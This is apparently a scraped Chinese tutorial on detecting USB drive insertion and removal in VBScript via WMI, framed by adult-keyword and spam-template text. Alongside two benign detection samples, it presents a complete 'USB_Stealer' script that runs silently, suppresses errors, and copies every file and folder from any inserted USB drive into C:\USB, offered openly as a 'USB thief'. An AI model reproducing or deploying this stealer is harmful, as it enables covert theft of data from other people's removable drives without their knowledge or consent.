婷婷综合国产,91蜜桃婷婷狠狠久久综合9色 ,九九九九九精品,国产综合av

主頁 > 知識庫 > 用VBS檢測U盤插入與彈出事件的代碼

用VBS檢測U盤插入與彈出事件的代碼

熱門標簽:加盟電銷機器人好的品牌 外呼營銷下單系統(tǒng) 打電話的外呼系統(tǒng)貴不貴 辦理膠州400電話財稅 新密防封卡外呼系統(tǒng)違法嗎 百度地圖標注怎么卸載 海外美發(fā)店地圖標注 前鋒辦理400電話申請 陜西高頻外呼回撥系統(tǒng)哪家好
可以說,對WMI的掌握程度的多少直接決定了你的VBS水平高低。看過網(wǎng)上普遍流傳VBS版U盤小偷程序,基本上都是靠無限循環(huán)實現(xiàn)的,一點技術(shù)含量也沒有,文章的末尾給出了我寫的VBS版U盤小偷程序的下載地址。雖然用WMI也得無限循環(huán),但是效率是不一樣的。

使用WMI的Win32_VolumeChangeEvent類就可以實現(xiàn),下面是示例代碼,更詳細的信息請參考MSND文檔。

復(fù)制代碼 代碼如下:

Const Configuration_Changed = 1
Const Device_Arrival = 2
Const Device_Removal = 3
Const Docking = 4
strComputer = "."
Set objWMIService = GetObject("winmgmts:" _
"{impersonationLevel=impersonate}!\\" _
strComputer "\root\cimv2")
Set colMonitoredEvents = objWMIService. _
ExecNotificationQuery( _
"Select * from Win32_VolumeChangeEvent")
Do
Set objLatestEvent = colMonitoredEvents.NextEvent
Select Case objLatestEvent.EventType
Case Device_Arrival
WScript.Echo "U盤插入,盤符為" _
objLatestEvent.DriveName
Case Device_Removal
WScript.Echo "U盤彈出,盤符為" _
objLatestEvent.DriveName
End Select
Loop

我也寫了一個U盤小偷程序,自以為比網(wǎng)上抄來抄去的代碼要好,感興趣的可以下載來看看。
復(fù)制代碼 代碼如下:

'==========================================
'Name : USB_Stealer
'Date : 2010/5/25
'Author : Demon
'Copyright : Copyright (c) 2010 Demon
'E-Mail : still.demon@gmail.com
'QQ : 380401911
'Website : http://demon.tw
'==========================================
'Option Explicit
On Error Resume Next
Const Target_Folder = "C:\USB"

Call Main()

Sub Main()
On Error Resume Next
Const Device_Arrival = 2
Const Device_Removal = 3
Const strComputer = "."
Dim objWMIService, colMonitoredEvents, objLatestEvent

Set objWMIService = GetObject("winmgmts:" _
"{impersonationLevel=impersonate}!\\" _
strComputer "\root\cimv2")
Set colMonitoredEvents = objWMIService. _
ExecNotificationQuery( _
"Select * from Win32_VolumeChangeEvent")
Do
Set objLatestEvent = colMonitoredEvents.NextEvent
Select Case objLatestEvent.EventType
Case Device_Arrival
Copy_File objLatestEvent.DriveName
End Select
Loop
End Sub

Sub Copy_File(Folder_Path)
On Error Resume Next
Dim fso,file,folder
Set fso = CreateObject("scripting.filesystemobject")

If Not fso.FolderExists(Target_Folder) Then
fso.CreateFolder(Target_Folder)
End If

For Each file In fso.GetFolder(Folder_Path).Files
file.Copy Target_Folder "\" file.Name,True
Next

For Each folder In fso.GetFolder(Folder_Path).SubFolders
folder.Copy Target_Folder "\" folder.Name,True
Next
End Sub

鑒于很多人反映之前寫的那篇在XP下無效,做了一下修改。說是修改,其實是直接復(fù)制粘貼腳本專家的代碼。
復(fù)制代碼 代碼如下:

strComputer = "."
Set objWMIService = GetObject("winmgmts:\\" strComputer "\root\cimv2")

Set colEvents = objWMIService.ExecNotificationQuery _
("Select * From __InstanceOperationEvent Within 10 Where " _
"TargetInstance isa 'Win32_LogicalDisk'")

Do While True
Set objEvent = colEvents.NextEvent
If objEvent.TargetInstance.DriveType = 2 Then
Select Case objEvent.Path_.Class
Case "__InstanceCreationEvent"
Wscript.Echo "Drive " objEvent.TargetInstance.DeviceId _
" has been added."
Case "__InstanceDeletionEvent"
Wscript.Echo "Drive " objEvent.TargetInstance.DeviceId _
" has been removed."
End Select
End If
Loop

參考鏈接:How Can I Determine When a Removable Drive Gets Connected?
大家應(yīng)該可以看出學(xué)習(xí)vbs的好地方是哪了, 學(xué)習(xí)vbs官方的網(wǎng)站不得不去,腳本之家很多的vbs相關(guān)的教材都是來自微軟官方的腳本專欄。
原文:http://demon.tw/programming/vbs-usb-insert-remove.html

標簽:河南 武威 伊春 四平 牡丹江 咸陽 梅州 阜陽

巨人網(wǎng)絡(luò)通訊聲明:本文標題《用VBS檢測U盤插入與彈出事件的代碼》,本文關(guān)鍵詞  用,VBS,檢測,盤,插入,與,;如發(fā)現(xiàn)本文內(nèi)容存在版權(quán)問題,煩請?zhí)峁┫嚓P(guān)信息告之我們,我們將及時溝通與處理。本站內(nèi)容系統(tǒng)采集于網(wǎng)絡(luò),涉及言論、版權(quán)與本站無關(guān)。
  • 相關(guān)文章
  • 下面列出與本文章《用VBS檢測U盤插入與彈出事件的代碼》相關(guān)的同類信息!
  • 本頁收集關(guān)于用VBS檢測U盤插入與彈出事件的代碼的相關(guān)信息資訊供網(wǎng)民參考!
  • 推薦文章
    主站蜘蛛池模板: 五常市| 大埔区| 德庆县| 阿图什市| 固安县| 微山县| 互助| 天津市| 安化县| 邵东县| 宁陵县| 中江县| 松潘县| 星子县| 长子县| 南华县| 灯塔市| 长乐市| 昂仁县| 广宗县| 滨州市| 沈丘县| 蓬溪县| 景德镇市| 鄂托克前旗| 宜兴市| 礼泉县| 雷山县| 肥城市| 亳州市| 晴隆县| 项城市| 林口县| 石台县| 桃园县| 南投县| 大安市| 元朗区| 汝城县| 石渠县| 崇左市|